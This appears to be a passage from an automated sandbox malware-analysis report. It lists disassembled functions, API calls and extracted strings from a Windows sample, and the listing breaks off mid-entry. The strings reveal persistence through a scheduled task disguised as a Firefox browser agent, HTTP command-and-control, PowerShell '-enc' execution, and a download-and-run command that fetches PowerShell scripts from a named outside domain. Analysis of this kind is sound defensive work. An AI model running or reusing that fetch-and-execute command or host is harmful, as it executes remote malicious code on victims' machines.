Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 604ab39105fe9da9475113d11a72ffd72c3c6613e0692819a63de38c29d455c2
Instruction ID: 313661048e69bcfeadfd200de2e2f0303bc8e6e5e800b490c6c4b61818158289
Opcode Fuzzy Hash: 604ab39105fe9da9475113d11a72ffd72c3c6613e0692819a63de38c29d455c2
Instruction Fuzzy Hash: 0C51C4B1A156198FFB18CF68D8817ABBBF4FB48314F24882AD591EB250DB74D940DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02B824F0 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02B824F2

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 7b83610cd0aaf28d5e19faad262ceb1d88c952d97f892d9c21ddc48597d5b4de
Instruction ID: d6cbc0a9abda1aaef849da445ed4eea4f2fdb4b456791e28be398f672b435016
Opcode Fuzzy Hash: 7b83610cd0aaf28d5e19faad262ceb1d88c952d97f892d9c21ddc48597d5b4de
Instruction Fuzzy Hash: D1319032BA00008FC74CDB2CEC656A573E2F78D350B19496ED95ED76C1E639A862CB40

Uniqueness

Uniqueness Score: -1.00%

Function 008F43AF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000043BB,008F3BBB), ref: 008F43B4

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: da4d7b3d68adb6bb07396dd745ca05708449983df6dede964883a8f2493addb0
Instruction ID: abaf61385d057e3d6765e32d9dc494d4fe133850594c61686aadb6549f3bf517
Opcode Fuzzy Hash: da4d7b3d68adb6bb07396dd745ca05708449983df6dede964883a8f2493addb0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02B87410 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

0, xrefs: 02B87470

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: cc18de1e23392e391c7ff8e93e73e3e065b27f9818f5ba30032d45b3423df2f8
Instruction ID: 3eb170fd37b5b2f13de1ac1236f18741a0c8cf1b38074a6032324d562f36eeb3
Opcode Fuzzy Hash: cc18de1e23392e391c7ff8e93e73e3e065b27f9818f5ba30032d45b3423df2f8
Instruction Fuzzy Hash: 5651C235E152D88EDB1D9BEC48502ECBFB19F56204F5881EEDC9AA7643C9384A09CB61

Uniqueness

Uniqueness Score: -1.00%

Function 008FA845 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 008FA845

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b47722631469202c68b05c95b9da547f6724270af6715c54a365eac595d2987f
Instruction ID: b6422e4b255b8646591df88894c027b7ebec9dee2518460eb913a8cdfe623a71
Opcode Fuzzy Hash: b47722631469202c68b05c95b9da547f6724270af6715c54a365eac595d2987f
Instruction Fuzzy Hash: CEA0243031C140CFC344CF305F0534C37DC57007C030000145004C5171DF3040407711

Uniqueness

Uniqueness Score: -1.00%

Function 02B84620 Relevance: .8, Instructions: 750COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f73a58701b281c8fe5d33f5e28a8cb8289218132fb396038d9597af07f26b066
Instruction ID: ebe652db02ac66e47e1ca7913d8d5fe14b7f3f2c25e147f69af39e66308ee170
Opcode Fuzzy Hash: f73a58701b281c8fe5d33f5e28a8cb8289218132fb396038d9597af07f26b066
Instruction Fuzzy Hash: 197249348241D98EDB18FB64D960AEC77B6BF26700F5411FDD84E12956FB302A8ACF64

Uniqueness

Uniqueness Score: -1.00%

Function 02B84220 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7296c3b1dbb1a921ba32d64bab04859c0bfcd0fa31f9d19202da488f17fec2c
Instruction ID: 30c601da28732d0c86addaa5ccfa9ad3a7112a4d71085d051946d182f3a63628
Opcode Fuzzy Hash: c7296c3b1dbb1a921ba32d64bab04859c0bfcd0fa31f9d19202da488f17fec2c
Instruction Fuzzy Hash: D95164B1A11A10CFCB68CF2EC591556BBF1BF8C324355896EA98ACB625E334F840CF51

Uniqueness

Uniqueness Score: -1.00%

Function 008F9763 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8cb0350e4e3b143060300173f47f5aae99c96b2ead98911347758da5d435a3
Instruction ID: 73e406487ab2d54a8bfcf40f8de6d0ffa046dfc06f411e87fe37f594e04bd5dc
Opcode Fuzzy Hash: fe8cb0350e4e3b143060300173f47f5aae99c96b2ead98911347758da5d435a3
Instruction Fuzzy Hash: 49E04672921268EBCB14EFAC8904AAAB2ACFB88B50B264496F601D3101C670DE00C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02B86B90 Relevance: 70.4, APIs: 31, Strings: 9, Instructions: 426
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 02B86BAE
CoCreateInstance.OLE32(02B81020,00000000,00000001,02B81000,?), ref: 02B86BDB
SysAllocString.OLEAUT32(02B81498), ref: 02B86C21
SysFreeString.OLEAUT32(?), ref: 02B86C5E
SysAllocString.OLEAUT32(\Mozilla), ref: 02B86C6F
SysFreeString.OLEAUT32(00000000), ref: 02B86C91
SysAllocString.OLEAUT32(\Mozilla), ref: 02B86CA2
SysFreeString.OLEAUT32(00000000), ref: 02B86CB8
SysAllocString.OLEAUT32(Firefox Default Browser Agent 318146B0AF4A39CB), ref: 02B86CC6
SysFreeString.OLEAUT32(00000000), ref: 02B86CD7
SysAllocString.OLEAUT32(The Default Browser Agent task checks when the default changes from Firefox to another browser. If the change happens under suspic), ref: 02B86D14
SysFreeString.OLEAUT32(00000000), ref: 02B86D23
SysAllocString.OLEAUT32(Mozilla), ref: 02B86D2A
SysFreeString.OLEAUT32(00000000), ref: 02B86D39
SysAllocString.OLEAUT32(PT0S), ref: 02B86D8E
SysFreeString.OLEAUT32(00000000), ref: 02B86D9D
SysAllocString.OLEAUT32(Trigger1), ref: 02B86E0F
SysFreeString.OLEAUT32(00000000), ref: 02B86E1E
SysAllocString.OLEAUT32(2023-01-01T12:00:00), ref: 02B86E25
SysFreeString.OLEAUT32(00000000), ref: 02B86E34
SysAllocString.OLEAUT32(PT1M), ref: 02B86E53
SysFreeString.OLEAUT32(00000000), ref: 02B86E62
SysAllocString.OLEAUT32(C:\Windows\System32\wscript.exe), ref: 02B86EE3
SysFreeString.OLEAUT32(00000000), ref: 02B86EF2
SysAllocString.OLEAUT32(?), ref: 02B86EFC
SysFreeString.OLEAUT32(00000000), ref: 02B86F0B
VariantInit.OLEAUT32(?), ref: 02B86F3A
SysAllocString.OLEAUT32(02B8113C), ref: 02B86F4E
SysAllocString.OLEAUT32(Firefox Default Browser Agent 318146B0AF4A39CB), ref: 02B86F5F
SysFreeString.OLEAUT32(00000000), ref: 02B86F9C
VariantClear.OLEAUT32(?), ref: 02B86FA2

Strings

Firefox Default Browser Agent 318146B0AF4A39CB, xrefs: 02B86CC1, 02B86F50
\Mozilla, xrefs: 02B86C6A, 02B86C9D
Trigger1, xrefs: 02B86E0A
PT1M, xrefs: 02B86E4E
PT0S, xrefs: 02B86D89
C:\Windows\System32\wscript.exe, xrefs: 02B86EDE
Mozilla, xrefs: 02B86D25
The Default Browser Agent task checks when the default changes from Firefox to another browser. If the change happens under suspic, xrefs: 02B86D0F
2023-01-01T12:00:00, xrefs: 02B86E20

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: String$Alloc$Free$Variant$Init$ClearCreateInstance
String ID: 2023-01-01T12:00:00$C:\Windows\System32\wscript.exe$Firefox Default Browser Agent 318146B0AF4A39CB$Mozilla$PT0S$PT1M$The Default Browser Agent task checks when the default changes from Firefox to another browser. If the change happens under suspic$Trigger1$\Mozilla
API String ID: 3904693211-3377861604
Opcode ID: 3a11007cc9f9dc62d3e843d4d004ed76f36626fbc0fee977a668115a5658df4f
Instruction ID: 37768774cf4693a8774fdd1cf3cc2f3e12b00295d17c1b4651dbd997a1af4426
Opcode Fuzzy Hash: 3a11007cc9f9dc62d3e843d4d004ed76f36626fbc0fee977a668115a5658df4f
Instruction Fuzzy Hash: 1FF10E71A00209AFDB14EFA9C948FAEBBF8FF49344F144198F509EB250DB71A945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B87D20 Relevance: 61.6, APIs: 21, Strings: 14, Instructions: 350
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 02B87D46
GetTickCount64.KERNEL32 ref: 02B87D54

Part of subcall function 02B86670: ObtainUserAgentString.URLMON(00000000,?,?), ref: 02B86692
Part of subcall function 02B86670: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 02B866B2
Part of subcall function 02B86670: InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 02B86718
Part of subcall function 02B86670: InternetSetOptionW.WININET(00000000,00000002,0000EA60,00000004), ref: 02B86751
Part of subcall function 02B86670: InternetConnectW.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02B8676E
Part of subcall function 02B86670: HttpOpenRequestW.WININET(00000000,POST,?,00000000,00000000,00000000,80403000,00000000), ref: 02B867A7
Part of subcall function 02B86670: InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 02B867D0

Sleep.KERNEL32(00000000), ref: 02B87DA6
lstrcmpA.KERNEL32(00000000,INIT), ref: 02B87DB3
StrToIntA.SHLWAPI(00000000), ref: 02B87E76
StrToIntA.SHLWAPI(00000000), ref: 02B87EBB
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 02B87EF7
PathCombineW.SHLWAPI(?,?,WindowsPowerShell\v1.0\powershell.exe), ref: 02B87F10
wnsprintfW.SHLWAPI ref: 02B87F24
ExpandEnvironmentStringsW.KERNEL32(%ComSpec%,?,00000104), ref: 02B87F60
wnsprintfW.SHLWAPI ref: 02B87F74

Part of subcall function 02B855D0: GetProcessHeap.KERNEL32(00000000,00000000,02B882C5), ref: 02B855D7
Part of subcall function 02B855D0: HeapFree.KERNEL32(00000000), ref: 02B855DE

GetModuleHandleA.KERNEL32(kernel32), ref: 02B87F97
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 02B87FA5
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 02B87FBA
LoadLibraryA.KERNEL32(shell32,ShellExecuteW), ref: 02B8801B
GetProcAddress.KERNEL32(00000000), ref: 02B88022
wsprintfA.USER32 ref: 02B88082
wnsprintfA.SHLWAPI ref: 02B880AE

Part of subcall function 02B827A0: GetProcessHeap.KERNEL32(00000008,?), ref: 02B827B2
Part of subcall function 02B827A0: HeapAlloc.KERNEL32(00000000), ref: 02B827B9

Sleep.KERNEL32(00000000), ref: 02B882D6

Strings

kernel32, xrefs: 02B87F84
Wow64RevertWow64FsRedirection, xrefs: 02B87FAB
ShellExecuteW, xrefs: 02B88011
open, xrefs: 02B88030
/c %S, xrefs: 02B87F6A
Wow64DisableWow64FsRedirection, xrefs: 02B87F9F
%s|%s, xrefs: 02B880A4
-enc %S, xrefs: 02B87F1A
%ComSpec%, xrefs: 02B87F5B
%d|%s|%.16s|, xrefs: 02B8807C
INIT, xrefs: 02B87DAD
shell32, xrefs: 02B88016
WindowsPowerShell\v1.0\powershell.exe, xrefs: 02B87EFD
%d|%s, xrefs: 02B87D40

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: HeapInternet$AddressProcwnsprintf$OpenOptionProcessSleepwsprintf$AgentAllocByteCharCombineConnectCount64DirectoryEnvironmentExpandFreeHandleHttpLibraryLoadModuleMultiObtainPathQueryRequestStringStringsSystemTickUserWidelstrcmp
String ID: -enc %S$ /c %S$%ComSpec%$%d|%s$%d|%s|%.16s|$%s|%s$INIT$ShellExecuteW$WindowsPowerShell\v1.0\powershell.exe$Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32$open$shell32
API String ID: 1920831074-1153165106
Opcode ID: feb8eb61bce300d7c81e7e176541bff41b43e1ca81f2352cbda2b63450fa6ed8
Instruction ID: f136ac735774d9c248cf60686b1a40e0a15712024e90267b836a415011035641
Opcode Fuzzy Hash: feb8eb61bce300d7c81e7e176541bff41b43e1ca81f2352cbda2b63450fa6ed8
Instruction Fuzzy Hash: 46C19171E002089BDB14FBB4CC44AEEB7BAAF44744F5405A9E90EE7291EB749E04CF91

Uniqueness

Uniqueness Score: -1.00%

Function 008F2AE0 Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

Part of subcall function 008F26F0: operator!=.LIBCPMTD ref: 008F27B9
Part of subcall function 008F26F0: task.LIBCPMTD ref: 008F27CA
Part of subcall function 008F26F0: task.LIBCPMTD ref: 008F27D9

Part of subcall function 008F2870: task.LIBCPMTD ref: 008F2889

Part of subcall function 008F2A60: task.LIBCPMTD ref: 008F2AB3
Part of subcall function 008F2A60: task.LIBCPMTD ref: 008F2AC2

task.LIBCPMTD ref: 008F2C96

Part of subcall function 008F2450: task.LIBCPMTD ref: 008F24E6
Part of subcall function 008F2450: task.LIBCPMTD ref: 008F24F2
Part of subcall function 008F2450: task.LIBCPMTD ref: 008F24FE
Part of subcall function 008F2450: task.LIBCPMTD ref: 008F250A
Part of subcall function 008F2450: task.LIBCPMTD ref: 008F2519

Part of subcall function 008F1BD0: task.LIBCPMTD ref: 008F1C63
Part of subcall function 008F1BD0: task.LIBCPMTD ref: 008F1C72

Part of subcall function 008F1D30: operator!=.LIBCPMTD ref: 008F1DB9
Part of subcall function 008F1D30: task.LIBCPMTD ref: 008F1DC7
Part of subcall function 008F1D30: task.LIBCPMTD ref: 008F1DD6

Part of subcall function 008F1E90: task.LIBCPMTD ref: 008F1F50
Part of subcall function 008F1E90: task.LIBCPMTD ref: 008F1F5F

Part of subcall function 008F1FF0: task.LIBCPMTD ref: 008F204A
Part of subcall function 008F1FF0: task.LIBCPMTD ref: 008F2056
Part of subcall function 008F1FF0: task.LIBCPMTD ref: 008F2065

Part of subcall function 008F2090: task.LIBCPMTD ref: 008F20E6

task.LIBCPMTD ref: 008F2E58
task.LIBCPMTD ref: 008F2EFC

Part of subcall function 008F21A0: operator!=.LIBCPMTD ref: 008F2294
Part of subcall function 008F21A0: task.LIBCPMTD ref: 008F22A5
Part of subcall function 008F21A0: task.LIBCPMTD ref: 008F22B4

Strings

bbiubmprfbqjoqmoqgmhttblufpjlpiycsqtnqcoidbvmqtfgcahfg, xrefs: 008F2CFB
bfbkxdptzcljwinnfpjguspcvlgirgvdegdeqisttxcrywkudyppsifzvxs, xrefs: 008F2BAF
nuotrqlghjnffzskkcwufalzlmyscmjdepuxlmxsvppqivxsccetooswpjxeizyhfgqglaeuxevfergpdysqykuppgggs, xrefs: 008F2DA3
jreqifbqorpfxictktaxizwicpwxilbgtncfyasmvhfyvtkowlhcd, xrefs: 008F2E97
ckedhkwnzqenzdyullzbnlnfpdmbxpbrmyhyhqfwzycsbmtpacpudhvlrkopimgkhhund, xrefs: 008F2C12
sqfyhcibiyaixyvseuhuztdlx, xrefs: 008F2C6B
yavuryeiymqfxujpmpqrmrmgttalagszlfjtclxxzlbqegipvgwbufy, xrefs: 008F2E36
gcwignkebqvuaflqwaofoeamhtzhtayjmihwxiltntgdrauzzhbrgaocoaklskbiaxlskzepppflnzfykkxivzoa, xrefs: 008F2D71
rvoctmqczfvawqbqstoqximnlajullkwbhpoyeksejkprviaewktleabpmhofo, xrefs: 008F2DE8
syntqwezljesnhnfjaztdeotfzpejojodftab, xrefs: 008F2EB0
jlsnfghtfqpdrihxdjmbpgukkyazsxnkrrfoklsrhiihyccjuobgwyiscunlu, xrefs: 008F2D8A
fuisqwdbksjnkwghhwh, xrefs: 008F2CC8
brdvmbhfixnfjkixadthcpzymiljlvidbiypcfxqaqvxdznkshnertbatlamlvhvlgiqevborbhuzis, xrefs: 008F2E7E
shtumcttjzvhu, xrefs: 008F2E65
upwxgfoqwdhvhqqbodaeivuwrsbjowftepjuayrfsskdseaqlqzsrzyylrwhxudritnoznhlmmukgfgilepjjfsxufyryctzs, xrefs: 008F2B5E
cynilnsopurpkzljbcyibniozvcvlhljsiueoaxlduusesgcbvealyqlqegiho, xrefs: 008F2E11
gcgcdlmeebjfufktvnrctczymerylzxsfqamppfwqjtheyqzdwlhj, xrefs: 008F2ECF
rhfqtvjgvstrbnxfbnisqywuttgleakvwhpeikxktmpncjovllsttlwtunsrbejgntaohynvb, xrefs: 008F2C52

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$operator!=$char_traits
String ID: bbiubmprfbqjoqmoqgmhttblufpjlpiycsqtnqcoidbvmqtfgcahfg$bfbkxdptzcljwinnfpjguspcvlgirgvdegdeqisttxcrywkudyppsifzvxs$brdvmbhfixnfjkixadthcpzymiljlvidbiypcfxqaqvxdznkshnertbatlamlvhvlgiqevborbhuzis$ckedhkwnzqenzdyullzbnlnfpdmbxpbrmyhyhqfwzycsbmtpacpudhvlrkopimgkhhund$cynilnsopurpkzljbcyibniozvcvlhljsiueoaxlduusesgcbvealyqlqegiho$fuisqwdbksjnkwghhwh$gcgcdlmeebjfufktvnrctczymerylzxsfqamppfwqjtheyqzdwlhj$gcwignkebqvuaflqwaofoeamhtzhtayjmihwxiltntgdrauzzhbrgaocoaklskbiaxlskzepppflnzfykkxivzoa$jlsnfghtfqpdrihxdjmbpgukkyazsxnkrrfoklsrhiihyccjuobgwyiscunlu$jreqifbqorpfxictktaxizwicpwxilbgtncfyasmvhfyvtkowlhcd$nuotrqlghjnffzskkcwufalzlmyscmjdepuxlmxsvppqivxsccetooswpjxeizyhfgqglaeuxevfergpdysqykuppgggs$rhfqtvjgvstrbnxfbnisqywuttgleakvwhpeikxktmpncjovllsttlwtunsrbejgntaohynvb$rvoctmqczfvawqbqstoqximnlajullkwbhpoyeksejkprviaewktleabpmhofo$shtumcttjzvhu$sqfyhcibiyaixyvseuhuztdlx$syntqwezljesnhnfjaztdeotfzpejojodftab$upwxgfoqwdhvhqqbodaeivuwrsbjowftepjuayrfsskdseaqlqzsrzyylrwhxudritnoznhlmmukgfgilepjjfsxufyryctzs$yavuryeiymqfxujpmpqrmrmgttalagszlfjtclxxzlbqegipvgwbufy
API String ID: 1022754510-231213261
Opcode ID: be4372526f86c908797a9a916bbb3a5a5508dc3eb492f4b4139ddffbb25cde17
Instruction ID: bde7d69b5ac9c12056758b14a3bd1a4c3bd6765202d72d10a48c305a7e9e9823
Opcode Fuzzy Hash: be4372526f86c908797a9a916bbb3a5a5508dc3eb492f4b4139ddffbb25cde17
Instruction Fuzzy Hash: 05B12970E54B08AADB00FFBCCD167AEBB71BB86B04F404259E5417B2C1EB711A549B92

Uniqueness

Uniqueness Score: -1.00%

Function 008F21A0 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

operator!=.LIBCPMTD ref: 008F2294
task.LIBCPMTD ref: 008F22A5
task.LIBCPMTD ref: 008F22B4

Strings

[, xrefs: 008F2301
ianh, xrefs: 008F21D1, 008F234E, 008F2374
oyr, xrefs: 008F21F6
-, xrefs: 008F23C5
P, xrefs: 008F2326
lgorocmtlicgntojuhnxsyvwoxnzmsynfanydnuerqa, xrefs: 008F21E5

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traitsoperator!=
String ID: -$P$[$ianh$lgorocmtlicgntojuhnxsyvwoxnzmsynfanydnuerqa$oyr
API String ID: 2802545854-2318821752
Opcode ID: 9c07ea06c6ba74ccd1454c3da392bae1303cd04f78d5ae2bb472fa4d961c0f62
Instruction ID: b10b8f3751988a70081a2f12b099256c045d6dedd0e4dd1fdf78329fe4a3f579
Opcode Fuzzy Hash: 9c07ea06c6ba74ccd1454c3da392bae1303cd04f78d5ae2bb472fa4d961c0f62
Instruction Fuzzy Hash: E2711870D0466CCEDB24DBB8C9557AEBBB0FB54308F108199D249A7282DB745B88DF52

Uniqueness

Uniqueness Score: -1.00%

Function 02B88500 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 69stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(%SYSTEMROOT%\Microsoft.NET\Framework\v4.0.30319\csc.exe,?,00000104), ref: 02B88521
ExpandEnvironmentStringsW.KERNEL32(%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\csc.exe,?,00000104), ref: 02B88534
ExpandEnvironmentStringsW.KERNEL32(%ComSpec%,?,00000104), ref: 02B88547
GetFileAttributesW.KERNEL32(?), ref: 02B8856D
GetFileAttributesW.KERNEL32(?), ref: 02B88586
lstrcpyW.KERNEL32(00000000,sd4.ps1), ref: 02B8859D
wnsprintfW.SHLWAPI ref: 02B885C0
ShellExecuteW.SHELL32(00000000,open,?,?,00000000,00000000), ref: 02B885E2

Strings

https://www.clubedasluluzinhasro.com.br/assets/image, xrefs: 02B885AA
%ComSpec%, xrefs: 02B88542
sd2.ps1, xrefs: 02B88578
%SYSTEMROOT%\Microsoft.NET\Framework\v4.0.30319\csc.exe, xrefs: 02B8851C
open, xrefs: 02B885DB
/c "powershell -command IEX(IWR -UseBasicParsing '%s/%s')", xrefs: 02B885AF
%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\csc.exe, xrefs: 02B8852F
sd4.ps1, xrefs: 02B88591

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentExpandStrings$AttributesFile$ExecuteShelllstrcpywnsprintf
String ID: %ComSpec%$%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\csc.exe$%SYSTEMROOT%\Microsoft.NET\Framework\v4.0.30319\csc.exe$/c "powershell -command IEX(IWR -UseBasicParsing '%s/%s')"$https://www.clubedasluluzinhasro.com.br/assets/image$open$sd2.ps1$sd4.ps1
API String ID: 4132772799-1088483867
Opcode ID: f6423fdd5ec08f574ed461bbc88af4a328fdfb3a88c8688684be35329b749f62
Instruction ID: 1d87169596e8c1dd1af4f3cbe4451265e2b8d34082ad2f28dab2754a00f54e8b
Opcode Fuzzy Hash: f6423fdd5ec08f574ed461bbc88af4a328fdfb3a88c8688684be35329b749f62
Instruction Fuzzy Hash: 8221927195021CABEB10F6A88C45FEA77ACEB04758F4005D2F65DE2091E7B09685CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02B856A0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 167memorypipeprocessCOMMON

Download Yara Rule

APIs

